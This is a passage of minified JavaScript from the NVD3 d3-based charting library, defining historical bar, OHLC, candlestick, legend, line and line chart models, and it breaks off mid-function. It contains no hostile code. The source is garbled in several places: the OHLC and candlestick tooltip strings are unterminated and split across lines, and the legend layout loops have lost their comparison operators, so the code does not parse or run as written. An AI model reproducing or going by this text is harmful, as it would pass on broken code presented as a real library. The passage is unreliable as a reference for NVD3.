nv-historicalBar-"+j),B=A.append("defs"),C=A.append("g"),D=z.select("g");C.append("g").attr("class","nv-bars"),z.attr("transform","translate("+g.left+","+g.top+")"),k.on("click",function(a,b){u.chartClick({data:a,index:b,pos:d3.event,id:j})}),B.append("clipPath").attr("id","nv-chart-clip-path-"+j).append("rect"),z.select("#nv-chart-clip-path-"+j+" rect").attr("width",x).attr("height",y),D.attr("clip-path",s?"url(#nv-chart-clip-path-"+j+")":"");var E=z.select(".nv-bars").selectAll(".nv-bar").data(function(a){return a},function(a,b){return n(a,b)});E.exit().remove(),E.enter().append("rect").attr("x",0).attr("y",function(b,c){return a.utils.NaNtoZero(m(Math.max(0,o(b,c))))}).attr("height",function(b,c){return a.utils.NaNtoZero(Math.abs(m(o(b,c))-m(0)))}).attr("transform",function(a,c){return"translate("+(l(n(a,c))-x/b[0].values.length*.45)+",0)"}).on("mouseover",function(a,b){v&&(d3.select(this).classed("hover",!0),u.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")}))}).on("mouseout",function(a,b){v&&(d3.select(this).classed("hover",!1),u.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")}))}).on("mousemove",function(a,b){v&&u.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){v&&(u.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation())}).on("dblclick",function(a,b){v&&(u.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation())}),E.attr("fill",function(a,b){return t(a,b)}).attr("class",function(a,b,c){return(o(a,b)<0?"nv-bar negative":"nv-bar positive")+" nv-bar-"+c+"-"+b}).watchTransition(w,"bars").attr("transform",function(a,c){return"translate("+(l(n(a,c))-x/b[0].values.length*.45)+",0)"}).attr("width",x/b[0].values.length*.9),E.watchTransition(w,"bars").attr("y",function(b,c){var d=o(b,c)<0?m(0):m(0)-m(o(b,c))<1?m(0)-1:m(o(b,c));return a.utils.NaNtoZero(d)}).attr("height",function(b,c){return a.utils.NaNtoZero(Math.max(Math.abs(m(o(b,c))-m(0)),1))})}),w.renderEnd("historicalBar immediate"),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=Math.floor(1e4*Math.random()),k=null,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=[],q=[0],r=!1,s=!0,t=a.utils.defaultColor(),u=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),v=!0,w=a.utils.renderWatch(u,0);return b.highlightPoint=function(a,b){k.select(".nv-bars .nv-bar-0-"+a).classed("hover",b)},b.clearHighlights=function(){k.select(".nv-bars .nv-bar.hover").classed("hover",!1)},b.dispatch=u,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},forceX:{get:function(){return p},set:function(a){p=a}},forceY:{get:function(){return q},set:function(a){q=a}},padData:{get:function(){return r},set:function(a){r=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},clipEdge:{get:function(){return s},set:function(a){s=a}},id:{get:function(){return j},set:function(a){j=a}},interactive:{get:function(){return v},set:function(a){v=a}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},color:{get:function(){return t},set:function(b){t=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.historicalBarChart=function(b){"use strict";function c(b){return b.each(function(k){z.reset(),z.models(f),q&&z.models(g),r&&z.models(h);var w=d3.select(this),A=this;a.utils.initSVG(w);var B=a.utils.availableWidth(n,w,l),C=a.utils.availableHeight(o,w,l);if(c.update=function(){w.transition().duration(y).call(c)},c.container=this,u.disabled=k.map(function(a){return!!a.disabled}),!v){var D;v={};for(D in u)v[D]=u[D]instanceof Array?u[D].slice(0):u[D]}if(!(k&&k.length&&k.filter(function(a){return a.values.length}).length))return a.utils.noData(c,w),c;w.selectAll(".nv-noData").remove(),d=f.xScale(),e=f.yScale();var E=w.selectAll("g.nv-wrap.nv-historicalBarChart").data([k]),F=E.enter().append("g").attr("class","nvd3 nv-wrap nv-historicalBarChart").append("g"),G=E.select("g");F.append("g").attr("class","nv-x nv-axis"),F.append("g").attr("class","nv-y nv-axis"),F.append("g").attr("class","nv-barsWrap"),F.append("g").attr("class","nv-legendWrap"),F.append("g").attr("class","nv-interactive"),p&&(i.width(B),G.select(".nv-legendWrap").datum(k).call(i),l.top!=i.height()&&(l.top=i.height(),C=a.utils.availableHeight(o,w,l)),E.select(".nv-legendWrap").attr("transform","translate(0,"+-l.top+")")),E.attr("transform","translate("+l.left+","+l.top+")"),s&&G.select(".nv-y.nv-axis").attr("transform","translate("+B+",0)"),t&&(j.width(B).height(C).margin({left:l.left,top:l.top}).svgContainer(w).xScale(d),E.select(".nv-interactive").call(j)),f.width(B).height(C).color(k.map(function(a,b){return a.color||m(a,b)}).filter(function(a,b){return!k[b].disabled}));var H=G.select(".nv-barsWrap").datum(k.filter(function(a){return!a.disabled}));H.transition().call(f),q&&(g.scale(d)._ticks(a.utils.calcTicksX(B/100,k)).tickSize(-C,0),G.select(".nv-x.nv-axis").attr("transform","translate(0,"+e.range()[0]+")"),G.select(".nv-x.nv-axis").transition().call(g)),r&&(h.scale(e)._ticks(a.utils.calcTicksY(C/36,k)).tickSize(-B,0),G.select(".nv-y.nv-axis").transition().call(h)),j.dispatch.on("elementMousemove",function(b){f.clearHighlights();var d,e,i,n=[];k.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(g){e=a.interactiveBisect(g.values,b.pointXValue,c.x()),f.highlightPoint(e,!0);var h=g.values[e];void 0!==h&&(void 0===d&&(d=h),void 0===i&&(i=c.xScale()(c.x()(h,e))),n.push({key:g.key,value:c.y()(h,e),color:m(g,g.seriesIndex),data:g.values[e]}))});var o=g.tickFormat()(c.x()(d,e));j.tooltip.position({left:i+l.left,top:b.mouseY+l.top}).chartContainer(A.parentNode).valueFormatter(function(a){return h.tickFormat()(a)}).data({value:o,index:e,series:n})(),j.renderGuideLine(i)}),j.dispatch.on("elementMouseout",function(){x.tooltipHide(),f.clearHighlights()}),i.dispatch.on("legendClick",function(a){a.disabled=!a.disabled,k.filter(function(a){return!a.disabled}).length||k.map(function(a){return a.disabled=!1,E.selectAll(".nv-series").classed("disabled",!1),a}),u.disabled=k.map(function(a){return!!a.disabled}),x.stateChange(u),b.transition().call(c)}),i.dispatch.on("legendDblclick",function(a){k.forEach(function(a){a.disabled=!0}),a.disabled=!1,u.disabled=k.map(function(a){return!!a.disabled}),x.stateChange(u),c.update()}),x.on("changeState",function(a){"undefined"!=typeof a.disabled&&(k.forEach(function(b,c){b.disabled=a.disabled[c]}),u.disabled=a.disabled),c.update()})}),z.renderEnd("historicalBarChart immediate"),c}var d,e,f=b||a.models.historicalBar(),g=a.models.axis(),h=a.models.axis(),i=a.models.legend(),j=a.interactiveGuideline(),k=a.models.tooltip(),l={top:30,right:90,bottom:50,left:90},m=a.utils.defaultColor(),n=null,o=null,p=!1,q=!0,r=!0,s=!1,t=!1,u={},v=null,w=null,x=d3.dispatch("tooltipHide","stateChange","changeState","renderEnd"),y=250;g.orient("bottom").tickPadding(7),h.orient(s?"right":"left"),k.duration(0).headerEnabled(!1).valueFormatter(function(a,b){return h.tickFormat()(a,b)}).headerFormatter(function(a,b){return g.tickFormat()(a,b)});var z=a.utils.renderWatch(x,0);return f.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:c.x()(a.data),value:c.y()(a.data),color:a.color},k.data(a).hidden(!1)}),f.dispatch.on("elementMouseout.tooltip",function(){k.hidden(!0)}),f.dispatch.on("elementMousemove.tooltip",function(){k.position({top:d3.event.pageY,left:d3.event.pageX})()}),c.dispatch=x,c.bars=f,c.legend=i,c.xAxis=g,c.yAxis=h,c.interactiveLayer=j,c.tooltip=k,c.options=a.utils.optionsFunc.bind(c),c._options=Object.create({},{width:{get:function(){return n},set:function(a){n=a}},height:{get:function(){return o},set:function(a){o=a}},showLegend:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return q},set:function(a){q=a}},showYAxis:{get:function(){return r},set:function(a){r=a}},defaultState:{get:function(){return v},set:function(a){v=a}},noData:{get:function(){return w},set:function(a){w=a}},tooltips:{get:function(){return k.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),k.enabled(!!b)}},tooltipContent:{get:function(){return k.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),k.contentGenerator(b)}},margin:{get:function(){return l},set:function(a){l.top=void 0!==a.top?a.top:l.top,l.right=void 0!==a.right?a.right:l.right,l.bottom=void 0!==a.bottom?a.bottom:l.bottom,l.left=void 0!==a.left?a.left:l.left}},color:{get:function(){return m},set:function(b){m=a.utils.getColor(b),i.color(m),f.color(m)}},duration:{get:function(){return y},set:function(a){y=a,z.reset(y),h.duration(y),g.duration(y)}},rightAlignYAxis:{get:function(){return s},set:function(a){s=a,h.orient(a?"right":"left")}},useInteractiveGuideline:{get:function(){return t},set:function(a){t=a,a===!0&&c.interactive(!1)}}}),a.utils.inheritOptions(c,f),a.utils.initOptions(c),c},a.models.ohlcBarChart=function(){var b=a.models.historicalBarChart(a.models.ohlcBar());return b.useInteractiveGuideline(!0),b.interactiveLayer.tooltip.contentGenerator(function(a){var c=a.series[0].data,d=c.open'+a.value+"
open:"+b.yAxis.tickFormat()(c.open)+"
close:"+b.yAxis.tickFormat()(c.close)+"
high"+b.yAxis.tickFormat()(c.high)+"
low:"+b.yAxis.tickFormat()(c.low)+"
"}),b},a.models.candlestickBarChart=function(){var b=a.models.historicalBarChart(a.models.candlestickBar());return b.useInteractiveGuideline(!0),b.interactiveLayer.tooltip.contentGenerator(function(a){var c=a.series[0].data,d=c.open'+a.value+"
open:"+b.yAxis.tickFormat()(c.open)+"
close:"+b.yAxis.tickFormat()(c.close)+"
high"+b.yAxis.tickFormat()(c.high)+"
low:"+b.yAxis.tickFormat()(c.low)+"
"}),b},a.models.legend=function(){"use strict";function b(p){function q(a,b){return"furious"!=o?"#000":m?a.disengaged?"#000":"#fff":m?void 0:(a.color||(a.color=g(a,b)),a.disabled?a.color:"#fff")}function r(a,b){return m&&"furious"==o&&a.disengaged?"#eee":a.color||g(a,b)}function s(a){return m&&"furious"==o?1:a.disabled?0:1}return p.each(function(b){var g=d-c.left-c.right,p=d3.select(this);a.utils.initSVG(p);var t=p.selectAll("g.nv-legend").data([b]),u=t.enter().append("g").attr("class","nvd3 nv-legend").append("g"),v=t.select("g");t.attr("transform","translate("+c.left+","+c.top+")");var w,x,y=v.selectAll(".nv-series").data(function(a){return"furious"!=o?a:a.filter(function(a){return m?!0:!a.disengaged})}),z=y.enter().append("g").attr("class","nv-series");switch(o){case"furious":x=23;break;case"classic":x=20}if("classic"==o)z.append("circle").style("stroke-width",2).attr("class","nv-legend-symbol").attr("r",5),w=y.select("circle");else if("furious"==o){z.append("rect").style("stroke-width",2).attr("class","nv-legend-symbol").attr("rx",3).attr("ry",3),w=y.select(".nv-legend-symbol"),z.append("g").attr("class","nv-check-box").property("innerHTML",'').attr("transform","translate(-10,-8)scale(0.5)");var A=y.select(".nv-check-box");A.each(function(a,b){d3.select(this).selectAll("path").attr("stroke",q(a,b))})}z.append("text").attr("text-anchor","start").attr("class","nv-legend-text").attr("dy",".32em").attr("dx","8");var B=y.select("text.nv-legend-text");y.on("mouseover",function(a,b){n.legendMouseover(a,b)}).on("mouseout",function(a,b){n.legendMouseout(a,b)}).on("click",function(a,b){n.legendClick(a,b);var c=y.data();if(k){if("classic"==o)l?(c.forEach(function(a){a.disabled=!0}),a.disabled=!1):(a.disabled=!a.disabled,c.every(function(a){return a.disabled})&&c.forEach(function(a){a.disabled=!1}));else if("furious"==o)if(m)a.disengaged=!a.disengaged,a.userDisabled=void 0==a.userDisabled?!!a.disabled:a.userDisabled,a.disabled=a.disengaged||a.userDisabled;else if(!m){a.disabled=!a.disabled,a.userDisabled=a.disabled;var d=c.filter(function(a){return!a.disengaged});d.every(function(a){return a.userDisabled})&&c.forEach(function(a){a.disabled=a.userDisabled=!1})}n.stateChange({disabled:c.map(function(a){return!!a.disabled}),disengaged:c.map(function(a){return!!a.disengaged})})}}).on("dblclick",function(a,b){if(("furious"!=o||!m)&&(n.legendDblclick(a,b),k)){var c=y.data();c.forEach(function(a){a.disabled=!0,"furious"==o&&(a.userDisabled=a.disabled)}),a.disabled=!1,"furious"==o&&(a.userDisabled=a.disabled),n.stateChange({disabled:c.map(function(a){return!!a.disabled})})}}),y.classed("nv-disabled",function(a){return a.userDisabled}),y.exit().remove(),B.attr("fill",q).text(f);var C=0;if(h){var D=[];y.each(function(){var b,c=d3.select(this).select("text");try{if(b=c.node().getComputedTextLength(),0>=b)throw Error()}catch(d){b=a.utils.calcApproxTextWidth(c)}D.push(b+i)});var E=0,F=[];for(C=0;g>C&&Eg&&E>1;){F=[],E--;for(var G=0;G(F[G%E]||0)&&(F[G%E]=D[G]);C=F.reduce(function(a,b){return a+b})}for(var H=[],I=0,J=0;E>I;I++)H[I]=J,J+=F[I];y.attr("transform",function(a,b){return"translate("+H[b%E]+","+(5+Math.floor(b/E)*x)+")"}),j?v.attr("transform","translate("+(d-c.right-C)+","+c.top+")"):v.attr("transform","translate(0,"+c.top+")"),e=c.top+c.bottom+Math.ceil(D.length/E)*x}else{var K,L=5,M=5,N=0;y.attr("transform",function(){var a=d3.select(this).select("text").node().getComputedTextLength()+i;return K=M,dN&&(N=M),K+N>C&&(C=K+N),"translate("+K+","+L+")"}),v.attr("transform","translate("+(d-c.right-N)+","+c.top+")"),e=c.top+c.bottom+L+15}if("furious"==o){w.attr("width",function(a,b){return B[0][b].getComputedTextLength()+27}).attr("height",18).attr("y",-9).attr("x",-15),u.insert("rect",":first-child").attr("class","nv-legend-bg").attr("fill","#eee").attr("opacity",0);var O=v.select(".nv-legend-bg");O.transition().duration(300).attr("x",-x).attr("width",C+x-12).attr("height",e+10).attr("y",-c.top-10).attr("opacity",m?1:0)}w.style("fill",r).style("fill-opacity",s).style("stroke",r)}),b}var c={top:5,right:0,bottom:5,left:0},d=400,e=20,f=function(a){return a.key},g=a.utils.getColor(),h=!0,i=32,j=!0,k=!0,l=!1,m=!1,n=d3.dispatch("legendClick","legendDblclick","legendMouseover","legendMouseout","stateChange"),o="classic";return b.dispatch=n,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},key:{get:function(){return f},set:function(a){f=a}},align:{get:function(){return h},set:function(a){h=a}},rightAlign:{get:function(){return j},set:function(a){j=a}},padding:{get:function(){return i},set:function(a){i=a}},updateState:{get:function(){return k},set:function(a){k=a}},radioButtonMode:{get:function(){return l},set:function(a){l=a}},expanded:{get:function(){return m},set:function(a){m=a}},vers:{get:function(){return o},set:function(a){o=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return g},set:function(b){g=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.line=function(){"use strict";function b(r){return v.reset(),v.models(e),r.each(function(b){i=d3.select(this);var r=a.utils.availableWidth(g,i,f),s=a.utils.availableHeight(h,i,f);a.utils.initSVG(i),c=e.xScale(),d=e.yScale(),t=t||c,u=u||d;var w=i.selectAll("g.nv-wrap.nv-line").data([b]),x=w.enter().append("g").attr("class","nvd3 nv-wrap nv-line"),y=x.append("defs"),z=x.append("g"),A=w.select("g");z.append("g").attr("class","nv-groups"),z.append("g").attr("class","nv-scatterWrap"),w.attr("transform","translate("+f.left+","+f.top+")"),e.width(r).height(s);var B=w.select(".nv-scatterWrap");B.call(e),y.append("clipPath").attr("id","nv-edge-clip-"+e.id()).append("rect"),w.select("#nv-edge-clip-"+e.id()+" rect").attr("width",r).attr("height",s>0?s:0),A.attr("clip-path",p?"url(#nv-edge-clip-"+e.id()+")":""),B.attr("clip-path",p?"url(#nv-edge-clip-"+e.id()+")":"");var C=w.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});C.enter().append("g").style("stroke-opacity",1e-6).style("stroke-width",function(a){return a.strokeWidth||j}).style("fill-opacity",1e-6),C.exit().remove(),C.attr("class",function(a,b){return(a.classed||"")+" nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return k(a,b)}).style("stroke",function(a,b){return k(a,b)}),C.watchTransition(v,"line: groups").style("stroke-opacity",1).style("fill-opacity",function(a){return a.fillOpacity||.5});var D=C.selectAll("path.nv-area").data(function(a){return o(a)?[a]:[]});D.enter().append("path").attr("class","nv-area").attr("d",function(b){return d3.svg.area().interpolate(q).defined(n).x(function(b,c){return a.utils.NaNtoZero(t(l(b,c)))}).y0(function(b,c){return a.utils.NaNtoZero(u(m(b,c)))}).y1(function(){return u(d.domain()[0]<=0?d.domain()[1]>=0?0:d.domain()[1]:d.domain()[0])}).apply(this,[b.values])}),C.exit().selectAll("path.nv-area").remove(),D.watchTransition(v,"line: areaPaths").attr("d",function(b){return d3.svg.area().interpolate(q).defined(n).x(function(b,d){return a.utils.NaNtoZero(c(l(b,d)))}).y0(function(b,c){return a.utils.NaNtoZero(d(m(b,c)))}).y1(function(){return d(d.domain()[0]<=0?d.domain()[1]>=0?0:d.domain()[1]:d.domain()[0])}).apply(this,[b.values])});var E=C.selectAll("path.nv-line").data(function(a){return[a.values]});E.enter().append("path").attr("class","nv-line").attr("d",d3.svg.line().interpolate(q).defined(n).x(function(b,c){return a.utils.NaNtoZero(t(l(b,c)))}).y(function(b,c){return a.utils.NaNtoZero(u(m(b,c)))})),E.watchTransition(v,"line: linePaths").attr("d",d3.svg.line().interpolate(q).defined(n).x(function(b,d){return a.utils.NaNtoZero(c(l(b,d)))}).y(function(b,c){return a.utils.NaNtoZero(d(m(b,c)))})),t=c.copy(),u=d.copy()}),v.renderEnd("line immediate"),b}var c,d,e=a.models.scatter(),f={top:0,right:0,bottom:0,left:0},g=960,h=500,i=null,j=1.5,k=a.utils.defaultColor(),l=function(a){return a.x},m=function(a){return a.y},n=function(a,b){return!isNaN(m(a,b))&&null!==m(a,b)},o=function(a){return a.area},p=!1,q="linear",r=250,s=d3.dispatch("elementClick","elementMouseover","elementMouseout","renderEnd");e.pointSize(16).pointDomain([16,256]);var t,u,v=a.utils.renderWatch(s,r);return b.dispatch=s,b.scatter=e,e.dispatch.on("elementClick",function(){s.elementClick.apply(this,arguments)}),e.dispatch.on("elementMouseover",function(){s.elementMouseover.apply(this,arguments)}),e.dispatch.on("elementMouseout",function(){s.elementMouseout.apply(this,arguments)}),b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},defined:{get:function(){return n},set:function(a){n=a}},interpolate:{get:function(){return q},set:function(a){q=a}},clipEdge:{get:function(){return p},set:function(a){p=a}},margin:{get:function(){return f},set:function(a){f.top=void 0!==a.top?a.top:f.top,f.right=void 0!==a.right?a.right:f.right,f.bottom=void 0!==a.bottom?a.bottom:f.bottom,f.left=void 0!==a.left?a.left:f.left}},duration:{get:function(){return r},set:function(a){r=a,v.reset(r),e.duration(r)}},isArea:{get:function(){return o},set:function(a){o=d3.functor(a)}},x:{get:function(){return l},set:function(a){l=a,e.x(a)}},y:{get:function(){return m},set:function(a){m=a,e.y(a)}},color:{get:function(){return k},set:function(b){k=a.utils.getColor(b),e.color(k)}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.lineChart=function(){"use strict";function b(j){return y.reset(),y.models(e),p&&y.models(f),q&&y.models(g),j.each(function(j){var v=d3.select(this),y=this;a.utils.initSVG(v);var B=a.utils.availableWidth(m,v,k),C=a.utils.availableHeight(n,v,k);if(b.update=function(){0===x?v.call(b):v.transition().duration(x).call(b)},b.container=this,t.setter(A(j),b.update).getter(z(j)).update(),t.disabled=j.map(function(a){return!!a.disabled}),!u){var D;u={};for(D in t)u[D]=t[D]instanceof Array?t[D].slice(0):t[D] }if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,v),b;v.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var E=v.selectAll("g.nv-wrap.nv-lineChart").data([j]),F=E.enter().append("g").attr("class","nvd3 nv-wrap nv-lineChart").append("g"),G=E.select("g");F.append("rect").style("opacity",0),F.append("g").attr("class","nv-x nv-axis"),F.append("g").attr("class","nv-y nv-axis"),F.append("g").attr("class","nv-linesWrap"),F.append("g").attr("class","nv-legendWrap"),F.append("g").attr("class","nv-interactive"),G.select("rect").attr("width",B).attr("height",C>0?C:0),o&&(h.width(B),G.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),C=a.utils.availableHeight(n,v,k)),E.select(".nv-legendWrap").attr("transform","translate(0,"+-k.top+")")),E.attr("transform","translate("+k.left+","+k.top+")"),r&&G.select(".nv-y.nv-axis").attr("transform","translate("+B+",0)"),s&&(i.width(B).height(C).margin({left:k.left,top:k.top}).svgContainer(v).xScale(c),E.select(".nv-interactive").call(i)),e.width(B).height(C).color(j.map(function(a,b){return a.color||l(a,b)}).filter(function(a,b){return!j[b].disabled}));var H=G.select(".nv-linesWrap").datum(j.filter(function(a){return!a.disabled}));H.call(e),p&&(f.scale(c)._ticks(a.utils.calcTicksX(B/100,j)).tickSize(-C,0),G.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),G.select(".nv-x.nv-axis").call(f)),q&&(g.scale(d)._ticks(a.utils.calcTicksY(C/36,j)).tickSize(-B,0),G.select(".nv-y.nv-axis").call(g)),h.dispatch.on("stateChange",function(a){for(var c in a)t[c]=a[c];w.stateChange(t),b.update()}),i.dispatch.on("elementMousemove",function(c){e.clearHighlights();var d,h,m,n=[];if(j.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(f,g){h=a.interactiveBisect(f.values,c.pointXValue,b.x());var i=f.values[h],j=b.y()(i,h);null!=j&&e.highlightPoint(g,h,!0),void 0!==i&&(void 0===d&&(d=i),void 0===m&&(m=b.xScale()(b.x()(i,h))),n.push({key:f.key,value:j,color:l(f,f.seriesIndex)}))}),n.length>2){var o=b.yScale().invert(c.mouseY),p=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),q=.03*p,r=a.nearestValueIndex(n.map(function(a){return a.value}),o,q);null!==r&&(n[r].highlight=!0)}var s=f.tickFormat()(b.x()(d,h));i.tooltip.position({left:c.mouseX+k.left,top:c.mouseY+k.top}).chartContainer(y.parentNode).valueFormatter(function(a){return null==a?"N/A":g.tickFormat()(a)}).data({value:s,index:h,series:n})(),i.renderGuideLine(m)}),i.dispatch.on("elementClick",function(c){var d,f=[];j.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(e){var g=a.interactiveBisect(e.values,c.pointXValue,b.x()),h=e.values[g];if("undefined"!=typeof h){"undefined"==typeof d&&(d=b.xScale()(b.x()(h,g)));var i=b.yScale()(b.y()(h,g));f.push({point:h,pointIndex:g,pos:[d,i],seriesIndex:e.seriesIndex,series:e})}}),e.dispatch.elementClick(f)}),i.dispatch.on("elementMouseout",function(){e.clearHighlights()}),w.on("changeState",function(a){"undefined"!=typeof a.disabled&&j.length===a.disabled.length&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),t.disabled=a.disabled),b.update()})}),y.renderEnd("lineChart immediate"),b}var c,d,e=a.models.line(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.interactiveGuideline(),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=a.utils.defaultColor(),m=null,n=null,o=!0,p=!0,q=!0,r=!1,s=!1,t=a.utils.state(),u=null,v=null,w=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd"),x=250;f.orient("bottom").tickPadding(7),g.orient(r?"right":"left"),j.valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)});var y=a.utils.renderWatch(w,x),z=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},A=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return e.dispatch.on("elementMouseover.tooltip",function(a){j.data(a).position(a.pos).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),b.dispatch=w,b.lines=e,b.legend=h,b.xAxis=f,b.yAxis=g,b.interactiveLayer=i,b.tooltip=j,b.dispatch=w,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return o},set:function(a){o=a}},showXAxis:{get:function(){return p},set:function(a){p=a}},showYAxis:{get:function(){return q},set:function(a){q=a}},defaultState:{get:function(){return u},set:function(a){u=a}},noData:{get:function(){return v},set:function(a){v=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return x},set:function(a){x=a,y.reset(x),e.duration(x),f.duration(x),g.duration(x)}},color:{get:function(){return l},set:function(b){l=a.utils.getColor(b),h.color(l),e.color(l)}},rightAlignYAxis:{get:function(){return r},set:function(a){r=a,g.orient(r?"right":"left")}},useInteractiveGuideline:{get:function(){return s},set:function(a){s=a,s&&(e.interactive(!1),e.useVoronoi(!1))}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.linePlusBarChart=function(){"use strict";function b(v){return v.each(function(v){function J(a){var b=+("e"==a),c=b?1:-1,d=X/3;return"M"+.5*c+","+d+"A6,6 0 0 "+b+" "+6.5*c+","+(d+6)+"V"+(2*d-6)+"A6,6 0 0 "+b+" "+.5*c+","+2*d+"ZM"+2.5*c+","+(d+8)+"V"+(2*d-8)+"M"+4.5*c+","+(d+8)+"V"+(2*d-8)}function S(){u.empty()||u.extent(I),kb.data([u.empty()?e.domain():I]).each(function(a){var b=e(a[0])-e.range()[0],c=e.range()[1]-e(a[1]);d3.select(this).select(".left").attr("width",0>b?0:b),d3.select(this).select(".right").attr("x",e(a[1])).attr("width",0>c?0:c)})}function T(){I=u.empty()?null:u.extent(),c=u.empty()?e.domain():u.extent(),K.brush({extent:c,brush:u}),S(),l.width(V).height(W).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&v[b].bar})),j.width(V).height(W).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&!v[b].bar}));var b=db.select(".nv-focus .nv-barsWrap").datum(Z.length?Z.map(function(a){return{key:a.key,values:a.values.filter(function(a,b){return l.x()(a,b)>=c[0]&&l.x()(a,b)<=c[1]})}}):[{values:[]}]),h=db.select(".nv-focus .nv-linesWrap").datum($[0].disabled?[{values:[]}]:$.map(function(a){return{area:a.area,fillOpacity:a.fillOpacity,key:a.key,values:a.values.filter(function(a,b){return j.x()(a,b)>=c[0]&&j.x()(a,b)<=c[1]})}}));d=Z.length?l.xScale():j.xScale(),n.scale(d)._ticks(a.utils.calcTicksX(V/100,v)).tickSize(-W,0),n.domain([Math.ceil(c[0]),Math.floor(c[1])]),db.select(".nv-x.nv-axis").transition().duration(L).call(n),b.transition().duration(L).call(l),h.transition().duration(L).call(j),db.select(".nv-focus .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),p.scale(f)._ticks(a.utils.calcTicksY(W/36,v)).tickSize(-V,0),q.scale(g)._ticks(a.utils.calcTicksY(W/36,v)).tickSize(Z.length?0:-V,0),db.select(".nv-focus .nv-y1.nv-axis").style("opacity",Z.length?1:0),db.select(".nv-focus .nv-y2.nv-axis").style("opacity",$.length&&!$[0].disabled?1:0).attr("transform","translate("+d.range()[1]+",0)"),db.select(".nv-focus .nv-y1.nv-axis").transition().duration(L).call(p),db.select(".nv-focus .nv-y2.nv-axis").transition().duration(L).call(q)}var U=d3.select(this);a.utils.initSVG(U);var V=a.utils.availableWidth(y,U,w),W=a.utils.availableHeight(z,U,w)-(E?H:0),X=H-x.top-x.bottom;if(b.update=function(){U.transition().duration(L).call(b)},b.container=this,M.setter(R(v),b.update).getter(Q(v)).update(),M.disabled=v.map(function(a){return!!a.disabled}),!N){var Y;N={};for(Y in M)N[Y]=M[Y]instanceof Array?M[Y].slice(0):M[Y]}if(!(v&&v.length&&v.filter(function(a){return a.values.length}).length))return a.utils.noData(b,U),b;U.selectAll(".nv-noData").remove();var 